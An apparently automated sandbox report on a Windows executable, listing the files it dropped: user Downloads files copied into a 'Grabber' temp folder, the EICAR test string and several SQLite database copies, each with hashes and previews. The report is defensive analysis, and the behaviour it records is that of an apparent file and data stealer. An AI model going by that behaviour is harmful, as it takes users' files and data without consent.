                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\PIVFAGEAAV.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\PWCCAWLGRE.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.6969712158039245
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                          MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                          SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                          SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                          SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\SQSJKEBWDT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.698473196318807
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
                                                                                                                                                                          MD5:4D0D308F391353530363283961DF2C54
                                                                                                                                                                          SHA1:59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
                                                                                                                                                                          SHA-256:6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
                                                                                                                                                                          SHA-512:DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\SUAVTZKNFL.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\SUAVTZKNFL.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\eicar.com.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:EICAR virus test files
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):68
                                                                                                                                                                          Entropy (8bit):4.8723276870872425
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:a+JraNvsgzsVqSwHq9:tJuOgzsko
                                                                                                                                                                          MD5:44D88612FEA8A8F36DE82E1278ABB02F
                                                                                                                                                                          SHA1:3395856CE81F2B7382DEE72602F798B642F14140
                                                                                                                                                                          SHA-256:275A021BBFB6489E54D471899F7DB9D1663FC695EC2FE2A2C4538AABF651FD0F
                                                                                                                                                                          SHA-512:CC805D5FAB1FD71A4AB352A9C533E65FB2D5B885518F4E565E68847223B8E6B85CB48F3AFAD842726D99239C9E36505C64B0DC9A061D9E507D833277ADA336AB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\eicar.com.txt:Zone.Identifier

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):110
                                                                                                                                                                          Entropy (8bit):4.648822399290514
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:gAWY33AtwXJYHYrSLo+om1NQWHY13uCOHEp2m:qY33Atj4GLo0Np4xu9C2m
                                                                                                                                                                          MD5:44D771955CD40C717F289831FB5E55C8
                                                                                                                                                                          SHA1:18A1E8B977D4DF534C0F114A238504C6BEA48528
                                                                                                                                                                          SHA-256:2F53D740D64731D3BA3BB304FDB5EFC6B473CCC21F55FA3088A4926B05F59EF1
                                                                                                                                                                          SHA-512:E5A77BCD4058E2C04B35A6331E36151F6410823B51FB8F7D3EDAF40954DB671395A2CFEE2FE318BD4759ACD792EA46212F81365EAEE1C792399758835B6BDF53
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[ZoneTransfer]..ZoneId=3..ReferrerUrl=https://www.eicar.org/..HostUrl=https://secure.eicar.org/eicar.com.txt..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp76E4.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, user version 57, last written using SQLite version 3036000, page size 32768, writer version 2, read version 2, file counter 2, database pages 41, cookie 0x21, schema 4, UTF-8, version-valid-for 2
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):5242880
                                                                                                                                                                          Entropy (8bit):0.035631294721445904
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:bZjnkYjcoBMcygNDI7oslTYBIQg6Ism2Vspvp0:bZTVTBMcygNDuT1l62p
                                                                                                                                                                          MD5:59E4A8110FA2BCC012E341B93E96E93D
                                                                                                                                                                          SHA1:EE08810B0CE857F01170C08A24B9D438B64D577D
                                                                                                                                                                          SHA-256:3A85F2FC349A7E431EA6F1FC4568C99C1918D478AD6FE6445D560EF00395DB40
                                                                                                                                                                          SHA-512:2AD00B0FCBE4FC37ECAA68C16BE32A904D682A23ACF5B39BCECF5DC280E23933FDD5A0D2A92A45F2C77618CA7466334AFEB1EAA7EA07BF4E043282B31039E8FF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......)...........!...................9..................................S`....(e......}$|.|N{.{sz.z{z.yAx.x!w.v.wZu7tNt.s.s\r.rJq.p.q.p.o.o.o.m.mal&k.k.g.g3f.f.e.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp7714.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 14, database pages 65, cookie 0x57, schema 4, UTF-8, version-valid-for 14
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):135168
                                                                                                                                                                          Entropy (8bit):1.0873605234887023
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:yD1DgPn0BkoOQuA5bUWDX6+7VuP7Ewvjd:A1cPn0BktQuubrt7VuP7Ewrd
                                                                                                                                                                          MD5:5B01CD9FA62FDF35D1A4587F2676CA31
                                                                                                                                                                          SHA1:25BBFAC890114F4ECE0BF818F504FFE6102004B8
                                                                                                                                                                          SHA-256:74D3D72E8CEB233D400747C902F3331B3824902C81B6EF8AA3D7AC85A7A3F095
                                                                                                                                                                          SHA-512:A565038CDF3C69621F31D8DE4558F74375AADF1DC881C2C82A877C105437F7F9B1D97D1652E98566984EFCA8F1C39224B40B450C742610395A265D81362254DC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......A...........W......................................................v............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp782E.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 4, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):49152
                                                                                                                                                                          Entropy (8bit):0.86528072116055
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:kTN7KLWlGxdKmtZeympbn8MouB6w9f/rrGMa:qVlGxdKN7Iw9fj
                                                                                                                                                                          MD5:8CC409C8658C3F05143C1484A1719879
                                                                                                                                                                          SHA1:909CDE14664C0E5F943764895E0A9DFEC7831FF5
                                                                                                                                                                          SHA-256:BC69C3518DA2ABC8904F314F078D9672BAF3B840E09FD2B2E95D4B07A03A85A4
                                                                                                                                                                          SHA-512:55D8923B6481ADF442817B7BAA50C36CBAD8DAC0EC600451813D29F4775DE519A06158A6233E61635CD0ED862E60AC7F50C75556C4E89D583D8A8A4299F1808F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp784E.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, user version 12, last written using SQLite version 3036000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):98304
                                                                                                                                                                          Entropy (8bit):0.08231524779339361
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:DQANJfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQANJff32mNVpP965Ra8KN0MG/lO
                                                                                                                                                                          MD5:886A5F9308577FDF19279AA582D0024D
                                                                                                                                                                          SHA1:CDCCC11837CDDB657EB0EF6A01202451ECDF4992
                                                                                                                                                                          SHA-256:BA7EB45B7E9B6990BC63BE63836B74FA2CCB64DCD0C199056B6AE37B1AE735F2
                                                                                                                                                                          SHA-512:FF0692E52368708B36C161A4BFA91EE01CCA1B86F66666F7FC4979C6792D598FF7720A9FAF258F61439DAD61DB55C50D992E99769B1E4D321EC5B98230684BC5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................S`.....}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp7949.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):20480
                                                                                                                                                                          Entropy (8bit):1.4026573159402624
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:TB9aw/aHLopFMavU1/iB8eVC+rQ88TkQqp8JHyDlEKw0esEieNp:1PareMa8K8eVC+rZ8TkQqpWSDlNufp
                                                                                                                                                                          MD5:F49DFF163167A43F4940B7337A092C07
                                                                                                                                                                          SHA1:1A8BAAC92537FA0BD39063D17C3072AD86190CC4
                                                                                                                                                                          SHA-256:B3D38278030DBEA9D1CDDC177F9B6CB590CE1D383A88211B231402B7CA208CF3
                                                                                                                                                                          SHA-512:BC7685763D70300FE2AE28803D9F886D91004F6045A995065FAAEB6A9DFCAB77E80B475516E9B4C1F8969E112E2B48C7E68FC2AB15F61BB69443A8C54E24066F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................v.......@..g.....@....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp79A8.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, user version 57, last written using SQLite version 3036000, page size 32768, writer version 2, read version 2, file counter 2, database pages 41, cookie 0x21, schema 4, UTF-8, version-valid-for 2
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):5242880
                                                                                                                                                                          Entropy (8bit):0.035631294721445904
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:bZjnkYjcoBMcygNDI7oslTYBIQg6Ism2Vspvp0:bZTVTBMcygNDuT1l62p
                                                                                                                                                                          MD5:59E4A8110FA2BCC012E341B93E96E93D
                                                                                                                                                                          SHA1:EE08810B0CE857F01170C08A24B9D438B64D577D
                                                                                                                                                                          SHA-256:3A85F2FC349A7E431EA6F1FC4568C99C1918D478AD6FE6445D560EF00395DB40
                                                                                                                                                                          SHA-512:2AD00B0FCBE4FC37ECAA68C16BE32A904D682A23ACF5B39BCECF5DC280E23933FDD5A0D2A92A45F2C77618CA7466334AFEB1EAA7EA07BF4E043282B31039E8FF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......)...........!...................9..................................S`....(e......}$|.|N{.{sz.z{z.yAx.x!w.v.wZu7tNt.s.s\r.rJq.p.q.p.o.o.o.m.mal&k.k.g.g3f.f.e.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp79E7.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 21, database pages 54, 1st free page 10, free pages 14, cookie 0x50, schema 4, UTF-8, version-valid-for 21
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):229376
                                                                                                                                                                          Entropy (8bit):0.8702785449902919
                                                                                                                                                                          Encrypted:false
